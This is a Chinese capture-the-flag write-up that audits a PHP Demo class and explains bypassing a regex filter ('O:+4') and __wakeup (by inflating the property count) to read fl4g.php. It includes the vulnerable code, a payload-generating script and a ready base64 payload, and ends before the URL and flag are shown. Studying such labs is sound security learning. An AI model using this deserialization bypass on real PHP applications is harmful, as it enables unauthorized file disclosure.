启动靶场,发现没有其他地方可以利用,给了php代码,故审计代码。
这里定义了一个Demo类,私有变量$file初始化为index.php,然后是2个PHP中的魔术方法:
__construct(),创建时自动调用,用得到的参数覆盖$file
__destruct(),销毁时调用,会显示文件的代码,题目提示flag在fl4g.php中,故这里要显示fl4g.php。
__wakeup(),反序列化时调用,会把$file重置成index.php。
$_GET['var'],以GET方式获取参数var。并使用preg_match('/[oc]:\d+:/i', $var),这部分是正则匹配。若var中有"O或C:数字:(不区分大小写)",就会输出“stop hacking”。 \d+表示多个数字,/i表示不区分大小写。
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
由于在PHP的反序列化前,会先调用__wakeup()函数,来覆盖$file,而我们想访问的是fl4g.php,故需要绕过__wakeup()。当序列化后的字符串中的属性个数大于真实个数时,导致反序列化异常,就绕过__wakeup()函数。
写脚本,实例化一个Demo类的对象,$test,并对其进行序列化,用+防止O:4匹配,将1改成2绕过__wakeup()函数,以便访问fl4g.php的内容。
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$t=new Demo("fl4g.php");
$f=serialize($t);
echo $f."\n";
//绕过O:数字
$r1=str_replace('O:4','O:+4',$f);
//绕过_wakeup(),令属性值大于真实的值
$r2=str_replace('1:','2:',$r1);
echo $r2."\n";
//base64编码
echo base64_encode($r2);
?>
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";} 经过base64编码之后的序列化字符串为:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
构造url:
得到flag: